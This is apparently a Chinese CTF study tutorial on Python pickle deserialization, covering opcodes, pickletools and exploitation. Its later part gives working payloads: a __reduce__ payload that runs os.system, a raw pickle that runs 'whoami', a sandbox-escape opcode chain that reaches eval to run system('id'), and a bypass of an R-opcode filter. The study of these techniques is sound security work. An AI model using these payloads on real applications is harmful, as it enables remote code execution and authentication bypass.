之前hgame中遇到python反序列化,这次正好借分享会来尽可能详细学习一下python反序列化
基础知识
什么是序列化?反序列化?
- 在很多时候为了方便对象传输,我们往往会把一些内容转化成更方便存储、传输的形式。
- 我们把“对象 -> 字符串”的翻译过程称为“序列化”;相应地,把“字符串 -> 对象”的过程称为“反序列化” 。需要保存一个对象的时候,就把它序列化变成字符串;需要从字符串中提取一个对象的时候,就把它反序列化。
官方文档:
pickle --- Python 对象序列化
在python中有这样的模块 pickle实现了对一个 Python 对象结构序列化和反序列化。
什么是python对象结构?
- 在Python中,几乎所有的数据都被视为对象。对象是Python中最基本的概念之一,它可以是任何数据类型,包括数字、字符串、列表、元组、字典等。对象是数据的抽象,每个对象都有其类型、值和身份。
顺带一提类:
- 类:在python中,把具有相同属性和方法的对象归为一个类(class)
常用函数
简言之,如果要将python对象结构保存为文件,则使用dump(类比serialize),load(类比unserialize),如果将python对象结构转化为字节流,则使用dumps(类比serialize),loads(类比unserialize)
基础示例
import pickle
zj = '111nya'
filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件
pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:
print(f.read())
# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件
print(pickle.load(f)) #将这个文件进行反序列化并输出
import pickle
x = [123, 'QwQ', (233, 333, 666), {'name': 'rxz'}]
s = pickle.dumps(x)
print(s)
r = pickle.loads(s)
print(r)
import pickle
# class Person1():
# age = 19
# name = "1nnya"
#
# p = Person1()
# opcode1 = pickle.dumps(p)
# print(opcode1)
# P = pickle.loads(opcode1)
# print(P.age)
class Person():
def __init__(self):
self.age = 19
self.name = "1nnya"
p = Person()
# 序列化
opcode = pickle.dumps(p, protocol=3)
print(opcode)
# 反序列化
P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)
下面这个是上述代码被我注释掉的部分的运行结果:
这是没被注释掉的那部分运行结果:
(这里是因为,一篇文章里说:对于我们自己定义的class,如果直接以形如age=19的方式赋初值,则这个age不会被打包。解决方案是写一个__init__方法)
这里确实看到序列化后的内容没有age 19 name 1nnya这种字样,但是反序列化后还是有内容(?)
待会的opcode这里还可以进一步对比一下
pickle-opcode
在pickle.loads是一个调用的接口,其底层调用了_Unpickler类
在反序列化过程中_Unpickler维护了两个东西,栈区和存储区
- 栈区是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。
- 存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。
pickletools
根据刚才的运行结果,我们可以看到一些熟悉的python对象结构的内容,但其余的更多是一些看不懂的字符,这些即pickle的操作码(Operation Code)
我们可以ctrl+pickle,跳转到pickle.py中,看到这些操作码
但根据pickle.py来对照理解是非常麻烦的。这里引入一个python自带的pickle调试器——pickletools
这里介绍需要用到的两个功能:
- 反汇编一个已经被打包(序列化)的字符串
pickletools.dis(opcode)
反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。
- 优化一个已经被打包(序列化)的字符串
opcode1 = pickletools.optimize(opcode)
pickletools.dis(opcode1)
可以看到优化基本是将这里不必要的BINPUT给去掉了
这个BINPUT意思是把当前栈的栈顶复制一份,放进储存区
关于优化,chatgpt是这样解释
优化的目的通常是减少序列化数据的大小以及序列化和反序列化的时间。在第一个版本中,使用了 "BINPUT" 操作来建立引用,这会增加序列化数据的大小,但在反序列化时可能会提高效率,因为可以通过引用直接获取已经序列化的对象,而不需要重新构造。而在第二个版本中,去除了这些引用,序列化数据变得更加紧凑,但在反序列化时可能需要更多的计算来重建对象。
协议版本
这里protocol参数可以指定协议版本,下图是指定0号版本
下图是3号版本,现在默认是4号
0号版本是最具有可读性的,之后的版本为了优化加入了一些不可打印字符
不过,pickle协议是向前兼容的,即0号版本字符可以直接给pickle.loads()
指令分析
以优化后,3版本来分析一下
字符串的第一个字节是\x80,读到这机器再立刻去读下一个字节,即\x03
解释为该协议版本是3号,该操作结束
下一个操作符c
- 这个操作符(称为GLOBAL操作符)它连续读取两个字符串module和name,规定以\n为分割;接下来把module.name这个东西压进栈。那么现在读取到的两个字符串分别是__main__和Person,于是把__main__.Student进栈
下一个操作符)
- 这个操作符,作用是将一个空元组压入当前栈
下一个操作符\x81
- 这个操作符创建一个新对象,实例化Person对象,但里面目前什么都没有,实例化时args是个空数组
下一个操作符 }
- 创建一个空字典压入栈中
下一个操作符( MARK操作符
- 将特殊标记对象压入堆栈,这个操作符干的事是load_mark(相当于进入一个子进程)
- 把当前栈这个整体,作为一个list,压进前序栈。
- 把当前栈清空。
前序栈保存了程序运行至今的(不在顶层的)完整的栈信息,而当前栈专注于处理顶层的事件。
load_mark的逆操作pop_mark(没有操作符,供其他操作符调用)
- 记录一下当前栈的信息,作为一个list,在load_mark结束时返回。
- 弹出前序栈的栈顶,用这个list来覆盖当前栈。
所有与栈的切换相关的事,都是靠这两个方法来完成
下几个操作符X,K
- 将数字、字符串压入栈中。
- 当前栈中元素(由底到顶)age,19,name,1nnya
- 前序栈中只有一个list,list里有一个空的Student实例,以及一个空的dict
下一个操作符 u
详细过程:
- 调用pop_mark。也就是说,把当前栈的内容放进一个数组arr,然后把当前栈恢复到MARK时的状态。
执行完成之后,arr=['age', 19, 'name', '1nnya'];当前栈里面存的是__main__.Person这个类、一个空的dict。 - 拿到当前栈的末尾元素,规定必须是一个dict。这里,读到了栈顶那个空dict。
- 两个一组地读arr里面的元素,前者作为key,后者作为value,存进上一条所述的dict
上面三个操作符的演示可以看这一段
(PVM解析str过程)
下一个操作符 b build
- 这里更新实例inst
注:这里更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.dict 里面。
(这有点不是太懂,先搁置)
最后一个操作符 .
- 结束的标志
最后结果是
当前栈里只剩下一个实例,它的类型是__main__.Person,里面name的值是1nnya,age的值是19
常用opcode
以v0版本为例
指令 | 描述 | 具体写法 | 栈上的变化 |
---|
|
|
|
|
|
| --- | --- | --- | --- |
| c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
| N | 实例化一个None | N | 获得的对象入栈 |
| S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 |
| p | 将栈顶对象储存至memo_n | pn\n | 无 |
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
漏洞利用
__reduce__函数
这个是最早也是最典型的反序列化漏洞利用
opcode R指令
通常为执行一个func(*args),以此来执行系统命令
import pickle
import pickletools
import os
class Person():
def __init__(self):
self.age = 19
self.name = "1nnya"
def __reduce__(self):
return (os.system, ('whoami',))
p = Person()
# 序列化
opcode = pickle.dumps(p, protocol=3)
print(opcode)
opcode1 = pickletools.optimize(opcode)
pickletools.dis(opcode1)
# 反序列化
P = pickle.loads(opcode)
print(type(P))
print('The age is:' + str(P.age), 'The name is:' + P.name)
该函数类比php反序列化中的__wakeup()函数,在反序列化的时候被调用
将生成的payload拿给正常的程序去解析(类里本身没有__reduce__方法):
import pickle
class Person():
def __init__(self):
self.age = 19
self.name = "1nnya"
res = pickle.loads(b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.')
命令仍然会执行
反序列化限制绕过
反序列化沙盒逃逸
如果一个环境只允许执行使用builtins模块中的内置函数,该环境就可以认为是反序列化沙盒
code-breaking 2018 picklecode的后半部分反序列化沙盒绕过
SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
这里使用了RestrictedUnpickler这个类作为序列化时使用的过程类
builtins模块在Python中实际上就是不需要import就能使用的模块,比如常见的open、import、eval、input这种内置函数,都属于builtins模块。
但这些函数已经被禁用了,但是getattr这个函数没有在黑名单中
思路:我们可以通过builtins.getattr('builtins', 'eval')来获取eval函数,然后再执行即可。此时,find_class获得的module是builtins,name是getattr,在允许的范围中,不会被沙盒拦截。
获取getattr这个可执行对象
cbuiltins
getattr
获取当前上下文,python中使用global()获取上下文,所以要builtins.globals
cbuiltins
globals
python中globals是个字典,要取字典中某个值,需要获取dict对象
cbuiltins
dict
执行globals()函数,获取完整上下文
栈顶元素是builtins.globals,我们只需要再压入一个空元组(t,然后使用R执行
cbuiltins
globals
(tR
使用dict.get从globals结果中拿到上下文里的builtins对象,并将其放在memo[1]
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
这里opcode代码着重看这两个一组来理解
# 这里GLOBAL就等同于c指令
def GLOBAL(module_name, obj_name):
module = __import__(module_name)
return getattr(module, obj_name)
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
print(builtins)
也就等同于
import builtins
dict.get(globals(),"builtins")
接下来去builtins对象中拿到eval危险函数
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
应该是这样但不知道为什么我的python报红
这是PHITHON博客截图
绕过R指令黑名单
包含全局变量实现绕过
登录时绕过密码输入,例题:
num = 111
passwd = "password123"
import pickle, base64
import A #请注意这里的A.py中内容为num = 0,passwd = "password"(其实随便取,题目就是要绕过passwd判断)
class B():
def __init__(self, num, passwd):
self.num = num
self.passwd = passwd
def __eq__(self,other):
return type(other) is B and self.passwd == other.passwd and self.num == other.num
def check(data):
if (b'R' in data):
return 'NO REDUCE!!!'
x = pickle.loads(data)
if (x != B(A.num, A.passwd)):
return 'False!!!'
print('Now A.num == {} AND A.passwd == {}.'.format(A.num, A.passwd))
return 'Success!'
print(check(base64.b64decode(input())))
import pickle, pickletools, base64
class B():
def __init__(self, num, passwd):
self.num = num
self.passwd = passwd
def __eq__(self,other):
return type(other) is B and self.passwd == other.passwd and self.num == other.num
data = pickle.dumps(B(1, "qaq"),protocol=3)
data = pickletools.optimize(data)
print(data)
pickletools.dis(data)
# cA\nnum\n
# cA\npasswd\n
# b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
payload = b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numcA\nnum\nX\x06\x00\x00\x00passwdcA\npasswd\nub.'
pickletools.dis(payload)
print(base64.b64encode(payload))